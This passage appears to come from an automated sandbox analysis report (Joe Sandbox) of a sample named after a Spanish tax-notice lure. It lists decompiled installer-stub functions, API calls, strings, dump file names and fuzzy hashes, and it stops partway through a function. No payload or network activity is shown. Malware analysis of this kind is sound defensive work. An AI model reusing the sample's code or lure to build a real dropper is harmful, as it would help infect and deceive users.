lstrlenW.KERNEL32(007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 20aa65f000be929b1e11d1728d76fe9e6b564b96cf9baf0a42ebe1ff6a429860
Instruction ID: 54fc0906511a0d38b77c2dbc449d7618901aa97d03555d0a48212fe36839b6ac
Opcode Fuzzy Hash: 20aa65f000be929b1e11d1728d76fe9e6b564b96cf9baf0a42ebe1ff6a429860
Instruction Fuzzy Hash: A9218C71900618BACF11AFA6DD84EDFBF74EF85350F10807AF905B22A0C7794A40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004065C9 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004065C9(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004065e0
0x004065e9
0x004065eb
0x004065eb
0x004065ef
0x00406602
0x004065fc
0x004065fc
0x004065fc
0x0040661b
0x0040662f
0x00406636

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065E0
wsprintfW.USER32 ref: 0040661B
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040662F

Strings

\, xrefs: 004065F1
UXTHEME, xrefs: 004065D2
%s%S.dll, xrefs: 00406615

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 20a568d0c0fc1602bd6380e0cb5a56c4d8b7367864d21650c92abf75bc562668
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: E5F0F670500219AADB14AB64ED0DF9B366CAB00304F10447AA646F11D1EBB8DA24CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004030FA(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				void* _t69;
				long _t70;
				intOrPtr _t74;
				long _t75;
				intOrPtr _t76;
				void* _t77;
				int _t87;
				intOrPtr _t91;
				intOrPtr _t94;
				long _t95;
				signed int _t96;
				int _t97;
				int _t98;
				intOrPtr _t99;
				void* _t100;
				void* _t101;

				_t96 = _a16;
				_t91 = _a12;
				_v12 = _t96;
				if(_t91 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t91;
				if(_t91 == 0) {
					_v16 = 0x78f6d8;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E00403308( *0x7a8a98 + _t62);
				}
				if(E004032F2( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t91 != 0) {
							if(_a16 < _t96) {
								_t96 = _a16;
							}
							if(E004032F2(_t91, _t96) != 0) {
								_v8 = _t96;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t91) {
							goto L44;
						}
						_t87 = _v12;
						while(1) {
							_t97 = _a16;
							if(_a16 >= _t87) {
								_t97 = _t87;
							}
							if(E004032F2(0x78b6d8, _t97) == 0) {
								goto L41;
							}
							_t69 = E00405E03(_a8, 0x78b6d8, _t97); // executed
							if(_t69 == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t97;
							_a16 = _a16 - _t97;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40ce38 =  *0x40ce38 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40ce20 = 0xb;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t98 = 0x4000;
						if(_a16 < 0x4000) {
							_t98 = _a16;
						}
						if(E004032F2(0x78b6d8, _t98) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t98;
						 *0x40ce10 = 0x78b6d8;
						 *0x40ce14 = _t98;
						while(1) {
							_t94 = _v16;
							 *0x40ce18 = _t94;
							 *0x40ce1c = _v12;
							_t74 = E0040679A(0x40ce10);
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t99 =  *0x40ce18; // 0x7924d8
							_t100 = _t99 - _t94;
							_t75 = GetTickCount();
							_t95 = _t75;
							if(( *0x7a8af4 & 0x00000001) != 0 && (_t75 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t101 = _t101 + 0xc;
								E004052C3(0,  &_v152); // executed
								_v20 = _t95;
							}
							if(_t100 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t76 =  *0x40ce18; // 0x7924d8
									_v8 = _v8 + _t100;
									_v12 = _v12 - _t100;
									_v16 = _t76;
									L23:
									if(_v24 != 4) {
										continue;
									}
									goto L44;
								}
								_t77 = E00405E03(_a8, _v16, _t100); // executed
								if(_t77 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t100;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x00403105
0x00403109
0x0040310c
0x00403111
0x00403113
0x00403113
0x0040311a
0x0040311e
0x00403123
0x00403125
0x00403125
0x0040312c
0x00403131
0x0040313c
0x0040313c
0x0040314e
0x004032e0
0x004032e0
0x00000000
0x00403154
0x00403158
0x0040328d
0x004032d0
0x004032d2
0x004032d2
0x004032de
0x004032e5
0x004032e8
0x00000000
0x00000000
0x00000000
0x00000000
0x004032de
0x00403292
0x00000000
0x00000000
0x00403294
0x00403297
0x0040329a
0x0040329d
0x0040329f
0x0040329f
0x004032af
0x00000000
0x00000000
0x004032b6
0x004032bd
0x00403287
0x00403287
0x004032e2
0x004032e2
0x00000000
0x004032e2
0x004032bf
0x004032c2
0x004032c9
0x00000000
0x00000000
0x00000000
0x004032cb
0x00000000
0x00403297
0x00403164
0x00403166
0x0040316d
0x0040316d
0x00403174
0x0040317a
0x00403181
0x00403184
0x00000000
0x00000000
0x00000000
0x00000000
0x0040318a
0x0040318a
0x0040318a
0x00403192
0x00403194
0x00403194
0x004031a5
0x00000000
0x00000000
0x004031ab
0x004031ae
0x004031b4
0x004031ba
0x004031ba
0x004031c5
0x004031cb
0x004031d0
0x004031d7
0x004031da
0x00000000
0x00000000
0x004031e0
0x004031e6
0x004031e8
0x004031f1
0x004031f3
0x00403224
0x0040322a
0x00403236
0x0040323b
0x0040323b
0x00403240
0x0040327b
0x00000000
0x00000000
0x00000000
0x00403242
0x00403246
0x0040325d
0x00403262
0x00403265
0x00403268
0x0040326b
0x0040326f
0x00000000
0x00000000
0x00000000
0x00403275
0x0040324f
0x00403256
0x00000000
0x00000000
0x00403258
0x00000000
0x00403258
0x00403240
0x00403283
0x00000000
0x00403283
0x00000000
0x0040318a

APIs

GetTickCount.KERNEL32 ref: 00403164
GetTickCount.KERNEL32 ref: 004031E8
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403211
wsprintfW.USER32 ref: 00403224

Strings

... %d%%, xrefs: 0040321E

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 5d95faed883021d29135786fab1021639b0595a9b4acb09984627cea9783b19b
Instruction ID: 4304c27296c3acdf0d2a87061290089073c1970791b1d07264e817265a7bbb17
Opcode Fuzzy Hash: 5d95faed883021d29135786fab1021639b0595a9b4acb09984627cea9783b19b
Instruction Fuzzy Hash: 3C516C31801219EBCB10DF65DA45A9F7BA8AF45766F1442BFE810B72C0C7788F51CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405792 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405792(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f0;
				_v36.Group = 0x4083f0;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e0;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x0040579d
0x004057a1
0x004057a4
0x004057aa
0x004057ae
0x004057b2
0x004057ba
0x004057c1
0x004057c7
0x004057ce
0x004057d5
0x004057dd
0x004057df
0x00000000
0x004057df
0x004057e9
0x004057f0
0x00405806
0x00000000
0x00000000
0x00000000
0x00405808
0x0040580c

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057D5
GetLastError.KERNEL32 ref: 004057E9
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004057FE
GetLastError.KERNEL32 ref: 00405808

Strings

C:\Users\user\Desktop, xrefs: 00405792

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3370423016
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 488e367ac99084f0472557c0a26963b348c4b9c4a011ef6404f7c6369f031e52
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: 03011A71C00619DADF009FA1C9447EFBBB4EF14354F00803AD945B6281D7789618CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D80 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405D80(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a55c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00405d86
0x00405d8c
0x00405d8d
0x00405d8d
0x00405d92
0x00405d93
0x00405d96
0x00405d9b
0x00405d9e
0x00405da8
0x00405db5
0x00405db9
0x00405dc1
0x00000000
0x00000000
0x00405dc5
0x00000000
0x00405dc7
0x00405dc7
0x00405dc7
0x00405dca
0x00405dcd
0x00405dcd
0x00405dd0
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405D9E
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040334E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C), ref: 00405DB9

Strings

"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 00405D80
nsa, xrefs: 00405D8D
C:\Users\user\AppData\Local\Temp\, xrefs: 00405D85, 00405D89

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3763036177
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 49388a817ab8929663d32c184486222aab3b5007cea287540e7d96a1fedb5290
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 56F01D76600304FBEB009F69DD09E9BBBA9EF95750F11807BE900A6290E6B099548B64

Uniqueness

Uniqueness Score: -1.00%

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E10001759(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				void* _t36;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x1000406c = _a8;
				 *0x10004070 = _a16;
				 *0x10004074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1);
				_push(1);
				_t34 = E10001B18();
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E10002286(_t50);
					}
					_push(_t50);
					E100022D0(_t65);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x1010) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100024A4(_t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x1018; // 0x1018
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E100015B4(_t50);
								_t15 = _t50 + 0x1018; // 0x1018
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x1020)) = _t38;
								 *_t70 = 4;
								E100024A4(_t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100024A4(_t50);
							_t34 = GlobalFree(E10001272(E100015B4(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E10002467(_t50);
							if(( *(_t50 + 0x1010) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x1008);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x1010) & 0x00000020) != 0) {
								_t34 = E1000153D( *0x10004068);
							}
						}
						if(( *(_t50 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							_t36 = GlobalFree(_t50); // executed
							return _t36;
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E10002B57(_t50);
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E1000289C(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E10002640(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x10001759
0x10001759
0x10001759
0x10001763
0x1000176b
0x10001778
0x10001786
0x10001789
0x1000178b
0x10001790
0x10001795
0x100018a8
0x100018a8
0x1000179b
0x1000179f
0x100017a2
0x100017a7
0x100017a8
0x100017a9
0x100017af
0x100017b5
0x100017e5
0x100017ec
0x10001810
0x1000184f
0x10001812
0x10001812
0x10001813
0x10001816
0x1000181c
0x10001820
0x10001823
0x10001828
0x10001828
0x1000182f
0x10001835
0x1000183b
0x10001847
0x10001848
0x1000184b
0x100017ee
0x100017ef
0x10001804
0x10001804
0x10001859
0x1000185c
0x10001869
0x10001870
0x10001878
0x1000187b
0x1000187b
0x10001878
0x10001888
0x10001890
0x10001895
0x10001888
0x1000189d
0x00000000
0x1000189f
0x100018a0
0x00000000
0x100018a0
0x1000189d
0x100017b9
0x100017bc
0x100017da
0x00000000
0x00000000
0x100017dd
0x100017e2
0x100017e2
0x100017e4
0x00000000
0x100017e4
0x100017be
0x100017bf
0x100017c7
0x100017c8
0x00000000
0x100017c8
0x100017c1
0x100017c2
0x100017d0
0x00000000
0x100017d0
0x100017c5
0x00000000
0x00000000
0x00000000
0x100017c5

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNELBASE(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8

Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 0483f3173a4470b9256ae29dd6c5e6dea881cc340ce9ef3905353ea367717f55
Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
Opcode Fuzzy Hash: 0483f3173a4470b9256ae29dd6c5e6dea881cc340ce9ef3905353ea367717f55
Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761

Uniqueness

Uniqueness Score: -1.00%

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004023DE(void* __eax, int __ebx, intOrPtr __edx) {
				void* _t20;
				void* _t21;
				int _t24;
				long _t25;
				int _t30;
